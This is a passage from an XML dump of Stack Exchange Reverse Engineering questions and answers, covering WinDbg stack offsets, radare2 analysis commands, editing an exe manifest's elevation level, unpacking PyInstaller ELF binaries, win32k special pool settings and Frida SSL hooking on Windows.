LastActivityDate="2018-11-14T19:17:30.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19890" PostTypeId="1" CreationDate="2018-11-15T03:34:27.077" Score="2" ViewCount="286" Body="&lt;p&gt;This is definitely a beginner question,I'm doing static and dynamic analysis on certain dll file and the WinDbg give me call stack like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SERVER+0x78123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I return back to IDA to see the code inside the function by getting the 0x78123+10001000 &quot;which is dll start address&quot; from IDA top list I can't see the function. Appreciating your help&lt;/p&gt;&#xA;" OwnerUserId="26234" LastActivityDate="2018-11-15T21:51:38.193" Title="Why IDA can't find the function named by windbg" Tags="|ida|windbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19892" PostTypeId="2" ParentId="19890" CreationDate="2018-11-15T20:30:25.847" Score="2" Body="&lt;p&gt;When you see a large offset in windbg it is usually suspect&lt;br&gt;&#xA;windbg resolves offset based on the nearest symbol&lt;br&gt;&#xA;in most of the case where a large offset is seen symbols may not be properly available&lt;br&gt;&#xA;and windbg uses the nearest symbol which may not be correct    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also optimized binaries have functions chunked but pdbs often have the unchunked offsets which windbg uses and may return improper large offsets &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should use the address instead of symbol+offset  and do calculations with address instead of symbol+offset value &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example  in the stack below notice the vc__filt+0x12f3  and the warning above the line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the vc__filt+0x12f3 is the return address on the stack  which is resolved as  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;00 0012ff38 &lt;strong&gt;004012f3&lt;/strong&gt; msvcrt!_controlfp  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should mostly use such resolved address instead of symbol+offset &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; k&#xA; # ChildEBP RetAddr  &#xA;00 0012ff38 004012f3 msvcrt!_controlfp&#xA;WARNING: Stack unwind information not available. Following frames may be wrong.&#xA;01 0012ff88 76faed6c vc__filt+0x12f3&#xA;02 0012ff94 77c537eb kernel32!BaseThreadInitThunk+0xe&#xA;03 0012ffd4 77c537be ntdll!__RtlUserThreadStart+0x70&#xA;04 0012ffec 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in case you cant resolve manually you can ask windbg to override the local context and access the return address on each frame using the PseudoRegister @$ra&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see below the resolved return address for each frame &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .cxr&#xA;&#xA;0:000&amp;gt; .frame /c /r 0 ; ? @$ra&#xA;&#xA;00 0012ff38 004012f3 msvcrt!_controlfp&#xA;&#xA;msvcrt!_controlfp:&#xA;778de1e1 8bff            mov     edi,edi&#xA;&#xA;Evaluate expression: 4199155 = 004012f3 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;0:000&amp;gt; .frame /c /r 1 ; ? @$ra&#xA;01 0012ff44 00401237 vc__filt+0x12f3&#xA;&#xA;vc__filt+0x12f3:&#xA;004012f3 59              pop     ecx&#xA;Evaluate expression: 4198967 = 00401237 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;0:000&amp;gt; .frame /c /r 2 ; ? @$ra&#xA;02 0012ff88 76faed6c vc__filt+0x1237&#xA;&#xA;vc__filt+0x1237:&#xA;00401237 680c304000      push    offset vc__filt+0x300c (0040300c)&#xA;&#xA;Evaluate expression: 1996156268 = 76faed6c&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;0:000&amp;gt; k&#xA;  *** Stack trace for last set context - .thread/.cxr resets it&#xA; # ChildEBP RetAddr  &#xA;WARNING: Stack unwind information not available. Following frames may be wrong.&#xA;02 0012ff88 76faed6c vc__filt+0x1237             &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; return address of last set context&#xA;03 0012ff94 77c537eb kernel32!BaseThreadInitThunk+0xe&#xA;04 0012ffd4 77c537be ntdll!__RtlUserThreadStart+0x70&#xA;05 0012ffec 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-11-15T21:51:38.193" LastActivityDate="2018-11-15T21:51:38.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19893" PostTypeId="2" ParentId="19843" CreationDate="2018-11-15T21:20:32.230" Score="2" Body="&lt;p&gt;Are You Loooking for some thing like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Message(&amp;quot;%s\n&amp;quot; , GetCurrentLine());&#xA;Message(&amp;quot;%x\n&amp;quot; , ItemSize(ScreenEA()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this will give results as below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:010328BB 56                            push    esi&#xA;1&#xA;.text:010328BC BE 10 42 05 01                mov     esi, offset unk_1054210&#xA;5&#xA;.text:010328C1                               cmp     byte_1054309, bl&#xA;6&#xA;.text:010328C1 38 1D 09 43 05 01             cmp     byte_1054309, bl&#xA;6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: refer to &lt;a href=&quot;https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Porting from IDAPython 6.x-7.3, to 7.4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="245" LastEditDate="2023-07-14T23:13:45.187" LastActivityDate="2023-07-14T23:13:45.187" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19894" PostTypeId="1" CreationDate="2018-11-16T01:12:53.280" Score="1" ViewCount="346" Body="&lt;p&gt;The Radare community generally seems to look down upon simply running &lt;code&gt;AAA&lt;/code&gt; or &lt;code&gt;AAAA&lt;/code&gt; claiming that you need to instead learn the fine grained analysis and what they do. However, there seems to be no documentation on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I learn what these do? And what that provides to me?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; a~analyze&#xA;| aa[?]              analyze all (fcns + bbs) (aa0 to avoid sub renaming)&#xA;| a8 [hexpairs]      analyze bytes&#xA;| ab[b] [addr]       analyze block at given address&#xA;| abb [len]          analyze N basic blocks in [len] (section.size by default)&#xA;| ac [cycles]        analyze which op could be executed in [cycles]&#xA;| ad[?]              analyze data trampoline (wip)&#xA;| ad [from] [to]     analyze data pointers to (from-to)&#xA;| ae[?] [expr]       analyze opcode eval expression (see ao)&#xA;| af[?]              analyze Functions&#xA;| ao[?] [len]        analyze Opcodes (or emulate it)&#xA;| as[?] [num]        analyze syscall using dbg.reg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only gets more scary with &lt;code&gt;aa&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aab - perform basic-block analysis (&quot;Nucleus&quot; algorithm)&#xA;aac - analyze function calls from one (selected or current function)&#xA;aaf - analyze all function calls&#xA;aar - analyze data references&#xA;aad - analyze pointers to pointers references&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would just like to see something pull these together. Is there a tutorial on these? It seems like there are hundreds of options providing fine grained control over analysis with little in the way to explain what they deliver shy of the words above.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-16T05:37:49.410" Title="Learning fine grained analysis in Radare with `a`?" Tags="|radare2|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19895" PostTypeId="1" AcceptedAnswerId="19897" CreationDate="2018-11-16T01:21:12.417" Score="1" ViewCount="2550" Body="&lt;p&gt;When I run &lt;code&gt;aaa&lt;/code&gt;, Radare tells me,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what does &lt;code&gt;aaaa&lt;/code&gt; do? It's not documented under &lt;code&gt;aa?&lt;/code&gt; nor &lt;code&gt;aaa?&lt;/code&gt; nor &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000028e0]&amp;gt; aaa?&#xA;Usage: See aa? for more help&#xA;[0x000028e0]&amp;gt; aaaa?&#xA;Usage: See aa? for more help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;man radare&lt;/code&gt; isn't more useful only saying,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; -A  run 'aaa' command before prompt or patch to analyze all referenced code. Use -AA to run aaaa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;radare --help&lt;/code&gt;, says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; -A run 'aaa' command to analyze all referenced code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-11-16T02:22:07.270" LastActivityDate="2018-11-16T05:27:08.533" Title="Radare's `aaaa` and -AA what does it do, exactly?" Tags="|radare2|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19896" PostTypeId="1" AcceptedAnswerId="19899" CreationDate="2018-11-16T04:36:28.033" Score="1" ViewCount="2564" Body="&lt;p&gt;I want to decompile an .exe and change the code to not need Admin to run. I know that it does something with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;requestedPrivileges&amp;gt;&#xA;  &amp;lt;requestedExecutionLevel&#xA;  level=&quot;requireAdministrator&quot;&#xA;  uiAccess=&quot;false&quot;&#xA;/&amp;gt;&#xA;&amp;lt;/requestedPrivileges&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I'm not sure what I need to change (I'm using Resource Hacker).&lt;/p&gt;&#xA;" OwnerUserId="26416" LastEditorUserId="245" LastEditDate="2018-11-16T09:02:58.887" LastActivityDate="2018-11-16T09:10:51.220" Title="I want to decompile a exe and change the code to not need Admin to run" Tags="|windows|exe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19897" PostTypeId="2" ParentId="19895" CreationDate="2018-11-16T05:27:08.533" Score="2" Body="&lt;p&gt;When you execute the &lt;code&gt;aaa&lt;/code&gt; command, radare is showing you what are the steps it takes. Each step has the command responsible for it inside parentheses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; aaa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[x] Type matching analysis for all functions (afta)&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;aaa&lt;/code&gt; is a command which is executing other commands. It also prints a short description of what each command is doing. A little bit more detailed information can be found under &lt;code&gt;aa?&lt;/code&gt;. So, to append this information together:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;aa - alias for &lt;code&gt;af@@ sym.*;af@entry0;afva&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;aac - analyze function calls (&lt;code&gt;af @@ `pi len~call[1]`&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;aar - analyze len bytes of instructions for references&lt;/li&gt;&#xA;&lt;li&gt;aan - autoname functions that either start with &lt;code&gt;fcn.*&lt;/code&gt; or &lt;code&gt;sym.func.*&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;afta - do type matching analysis for all functions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Similar to &lt;code&gt;aaa&lt;/code&gt;, this information is being printed when &lt;code&gt;aaaa&lt;/code&gt; is executed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; aaaa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[x] Enable constraint types analysis for variables&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main change of &lt;code&gt;aaaa&lt;/code&gt; is &quot;[x] Enable constraint types analysis for variables&quot;. This basically enables the &lt;code&gt;anal.types.constraint&lt;/code&gt; configuration variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; e? anal.types.constraint&#xA;anal.types.constraint: Enable constraint types analysis for variables&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On a personal note here, I would suggest not to use &lt;code&gt;aaaa&lt;/code&gt; since it is quite buggy sometimes and probably would not be necessary.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-11-16T05:27:08.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19898" PostTypeId="2" ParentId="19894" CreationDate="2018-11-16T05:37:49.410" Score="2" Body="&lt;p&gt;Binary analysis is not a simple thing and it is structured from a lot of different tasks that together might create a heavy and slow task. In order to get the best results, you need to understand what information would you want to know about the binary you are currently working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is true, the radare2 community encouraging its users not always to choose the easy-way of &lt;code&gt;aaa&lt;/code&gt;, especially in bing binaries. Alternatively, it suggests that the user would understand what he wants to achieve and will have more control of the analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A detailed answer by me is available on Stack Exchange RE for the question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16112/how-to-make-radare2-work-for-a-large-binary/16115#16115&quot;&gt;How to make radare2 work for a large binary?&lt;/a&gt;.&lt;br&gt;&#xA;There is also a great post about the subject in the radare2 blog: &lt;a href=&quot;http://radare.today/posts/analysis-by-default/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Analysis By Default&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For even more detailed explanations, you can always read the code since radare2 is entirely open-source.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-11-16T05:37:49.410" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19899" PostTypeId="2" ParentId="19896" CreationDate="2018-11-16T09:10:51.220" Score="1" Body="&lt;p&gt;Actually this has nothing to do with decompiling and little with reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is to change &lt;code&gt;level=&quot;requireAdministrator&quot;&lt;/code&gt; into &lt;code&gt;level=&quot;asInvoker&quot;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;requestedPrivileges&amp;gt;&#xA;  &amp;lt;requestedExecutionLevel&#xA;  level=&quot;asInvoker&quot;&#xA;  uiAccess=&quot;false&quot;&#xA;/&amp;gt;&#xA;&amp;lt;/requestedPrivileges&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using ResourceHacker you should be able to do just that. The canonical way, however, would be to use the Manifest Tool (mt.exe) which is - depending on the version - included with the SDKs, WDKs or Visual C++/Studio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to strip the resource and place a manifest next to the .exe with the same name, but .manifest appended. I.e. if your .exe is named &lt;code&gt;foobar.exe&lt;/code&gt; then the manifest would be &lt;code&gt;foobar.exe.manifest&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And actually, thinking about it, this may even work without stripping the existing manifest resource (perhaps give it a try?). I.e. extract the existing manifest resource, place it next to the .exe as explained above and modify the (external) manifest. Then try to start the .exe ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However, be warned:&lt;/strong&gt; if your .exe has been signed, your tampering will invalidate the signature. If the software has been prepared to do integrity checking or certain other circumstances apply (Software Restriction Policies, AppLocker) this may lead to the software being unable to run.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you wanted to achieve this &lt;em&gt;without&lt;/em&gt; tinkering with the manifest resource, you can have a look &lt;a href=&quot;http://superuser.com/a/450503/68747&quot;&gt;here&lt;/a&gt;. This answer details how to enable running a software without elevation by invoking it with a special environment variable set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying this registry file will create an entry named &lt;code&gt;Run without admin rights (UAC)&lt;/code&gt; in the context menu, which allows you to make use of the feature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00&#xA;&#xA;[HKEY_CLASSES_ROOT\*\shell\forcerunasinvoker]&#xA;@=&quot;Run without admin rights (UAC)&quot;&#xA;&#xA;[HKEY_CLASSES_ROOT\*\shell\forcerunasinvoker\command]&#xA;@=&quot;cmd /min /C \&quot;set __COMPAT_LAYER=RUNASINVOKER &amp;amp;&amp;amp; start \&quot;\&quot; \&quot;%1\&quot;\&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-11-16T09:10:51.220" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19900" PostTypeId="1" AcceptedAnswerId="19902" CreationDate="2018-11-17T01:37:21.963" Score="8" ViewCount="14632" Body="&lt;p&gt;There are several solutions available to extract Pyc files from Windows binaries and then decompile them using uncompyle2 or uncompyle6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have a Linux ELF 64-bit binary which was compiled using one of the Packagers used for Python (might be CX Freeze or PyInstaller). I am not sure of the exact package name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File command output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=212a49c7fff7342713aec6af6789abbaf3a8014, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have a .so file called: libpython2.7.so.1.0 which I believe is the python interpreter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary also has a .pydata section inside it as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [27] pydata            PROGBITS         0000000000000000  00007a48&#xA;       00000000000a0c47  0000000000000000           0     0     1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The binary has strings inside it as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Py_SetPythonHome&#xA;Cannot dlsym for Py_SetPythonHome&#xA;Error loading Python lib '%s': dlopen: %s&#xA;Error detected starting Python VM.&#xA;libpython2.7.so.1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I'm quite sure that it is Python code compiled to a Linux binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of these projects work for me.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/Katharsis/unfrozen_binary&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;unfrozen_binary&lt;/strong&gt;&lt;/a&gt; - gives an error because in common.py it imports decompilers library which is not available.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bannsec/pyThaw&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;pyThaw&lt;/strong&gt;&lt;/a&gt; - it leverages radare2 however when I use it with my binary, it just hangs and does not extract the source code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there any alternate solutions to decompile such elf binaries with python byte code for Linux?&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="2147" LastEditDate="2018-11-18T04:47:08.503" LastActivityDate="2018-11-18T04:47:08.503" Title="Decompile Python for ELF Binaries" Tags="|python|decompiler|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19901" PostTypeId="2" ParentId="19900" CreationDate="2018-11-17T02:53:43.780" Score="2" Body="&lt;p&gt;One such alternative approach is, obviously, to extract the python code/byte code manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As integrating a python interpreter and/or bytecode compiler is takes some engineering, a lot of solutions tend to prefer the easy way. Although that may not be the case of a python code that was converted to an executable as an obfuscation measure, it is most definitely the case for most python to executable converters (such as py2exe, PyInstaller, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy way I refer to is including a python interpreter as a whole, extracting raw &lt;code&gt;py&lt;/code&gt; or &lt;code&gt;pyc&lt;/code&gt; files to a temporary directory and executing the extracted code using the python interpreter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding whether that's the case with your sample should be quite easy to do either by process monitoring or debugging, and should also be possible by statically reverse engineering (which as we all know, is the hardcode way). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a side note, that file you're looking at can have been generated using one of the available tools but then tweaked a bit to be unrecognizable or unparseable by common extractors. You can try handling that by trying to see the file structure resembles any of the python executable builders.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-11-17T02:53:43.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19902" PostTypeId="2" ParentId="19900" CreationDate="2018-11-17T06:29:17.393" Score="3" Body="&lt;p&gt;It can be said with certainty that your binary has been compiled with PyInstaller. Searching for the string &quot;Error detected starting Python VM.&quot; leads to the &lt;a href=&quot;https://github.com/pyinstaller/pyinstaller/blob/6e5c70e067b5ad3fb6516818c9cb19ffdb288b2f/bootloader/src/pyi_pythonlib.c#L555&quot; rel=&quot;nofollow noreferrer&quot;&gt;PyInstaller repo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you know it's PyInstaller, you can have a look &lt;a href=&quot;https://pyinstaller.readthedocs.io/en/v3.3.1/advanced-topics.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; which describes how PyInstaller works and how the binary is packaged. In short, here are the important parts&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Two kinds of archives are used in PyInstaller. One is a ZlibArchive,&#xA;  which allows Python modules to be stored efficiently and, with some&#xA;  import hooks, imported directly. The other, a CArchive, is similar to&#xA;  a .zip file, a general way of packing up (and optionally compressing)&#xA;  arbitrary blobs of data. It gets its name from the fact that it can be&#xA;  manipulated easily from C as well as from Python. Both of these derive&#xA;  from a common base class, making it fairly easy to create new kinds of&#xA;  archives.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The docs recommend using the tool &lt;code&gt;pyi-archive_viewer&lt;/code&gt; for inspecting PyInstaller binaries.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use the &lt;code&gt;pyi-archive_viewer&lt;/code&gt; command to inspect any type of archive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pyi-archive_viewer archivefile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;With this command you can examine the contents of any archive built&#xA;  with PyInstaller (a PYZ or PKG), or any executable (.exe file or an&#xA;  ELF or COFF binary)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is what you can try for now. For Windows, there's the equivalent tool &lt;a href=&quot;https://sourceforge.net/projects/pyinstallerextractor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;pyinstxtractor&lt;/em&gt;&lt;/a&gt; (I'm the author) but unfortunately there's no support for ELF's at the moment. &lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2018-11-17T06:29:17.393" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19904" PostTypeId="1" AcceptedAnswerId="19919" CreationDate="2018-11-17T07:19:27.133" Score="3" ViewCount="433" Body="&lt;p&gt;So there is &lt;code&gt;win32k.sys&lt;/code&gt;, &lt;code&gt;win32kbase.sys&lt;/code&gt;, &lt;code&gt;win32kfull.sys&lt;/code&gt; in Windows 10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;verifier /driver win32k.sys /flags 0x1&lt;/code&gt; enable special pool on all three drivers? (win32k.sys is kinda like stub to other drivers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I have a crash that occurs only when enabling special pool specifically on &lt;code&gt;win32kfull.sys&lt;/code&gt; by &lt;code&gt;verifier /driver win32kfull.sys /flags 0x1&lt;/code&gt;. It doesn't crash when enabling special pool on &lt;code&gt;win32k.sys&lt;/code&gt; or &lt;code&gt;win32kbase.sys&lt;/code&gt;. Is this case weird?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what would be the general setup regarding turning on the special pool when fuzzing &lt;code&gt;win32k*.sys&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3461" LastEditorUserId="3461" LastEditDate="2018-11-20T02:14:15.370" LastActivityDate="2018-11-20T09:29:18.933" Title="Questions about enabling special pool on win32k" Tags="|windows|kernel|fuzzing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19905" PostTypeId="2" ParentId="6150" CreationDate="2018-11-17T12:29:36.707" Score="0" Body="&lt;p&gt;As pointed out by @guntram-blohm, you first need to determine if your VB6 target is compiled as &lt;code&gt;P-Code&lt;/code&gt; or as native. If it's &lt;code&gt;P-Code&lt;/code&gt;, I cannot help. If it's native, what you need to do is known as differential debugging. You can do it without using plugins or external tools &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/replayer/trace_replayer.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;directly from IDA&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If by any chance you're running an old version of IDA that lacks that support, you can use &lt;a href=&quot;https://github.com/joxeankoret/mynav&quot; rel=&quot;nofollow noreferrer&quot;&gt;MyNav&lt;/a&gt;, a tool I wrote for doing differential debugging as a replacement for &lt;a href=&quot;https://www.zynamics.com/binnavi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinNavi&lt;/a&gt;, a tool that you might be able to use if your target is a 32 bits one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to take a look to this question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2565/trace-assisted-code-identification&quot;&gt;Trace assisted code identification?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-11-17T12:29:36.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19907" PostTypeId="1" AcceptedAnswerId="19914" CreationDate="2018-11-17T23:08:29.963" Score="1" ViewCount="240" Body="&lt;p&gt;I have a r2 script that I'm running with &lt;code&gt;r2 -i script.py test.x&lt;/code&gt;. By default this command uses python2. How can I get it to use python3? I couldn't find anything in the config.&lt;/p&gt;&#xA;" OwnerUserId="26363" LastActivityDate="2018-11-18T17:33:38.697" Title="Make r2 -i &lt;script&gt; use python3 rather than python2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19909" PostTypeId="1" CreationDate="2018-11-18T00:43:55.463" Score="1" ViewCount="1662" Body="&lt;p&gt;There are gazillions of internet resources discussing how to use &lt;code&gt;Frida&lt;/code&gt; to hook and otherwise mess around with SSL connections of Java programs running under Android, but seemingly (as far as my google-fu allows at least?) not a single one discussing how to do this same successfully for Java programs running under Windows (which I would really need to do!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the go-to &lt;a href=&quot;https://github.com/google/ssl_logger&quot; rel=&quot;nofollow noreferrer&quot;&gt;ssl_logger&lt;/a&gt; Frida-based Python script in the Google Github repository lacks support for Windows (without mentioning why), but rather only contains hooks for Linux and macOS, which makes me wonder even more - is this &quot;impossible&quot; (== very hard) on Windows, contrary to on most other platforms, and in that case why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what would be the recommended way to do it with Frida?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS.&#xA;&lt;a href=&quot;https://docs.oracle.com/cd/A87860_01/doc/network.817/a85430/asoappf.htm&quot; rel=&quot;nofollow 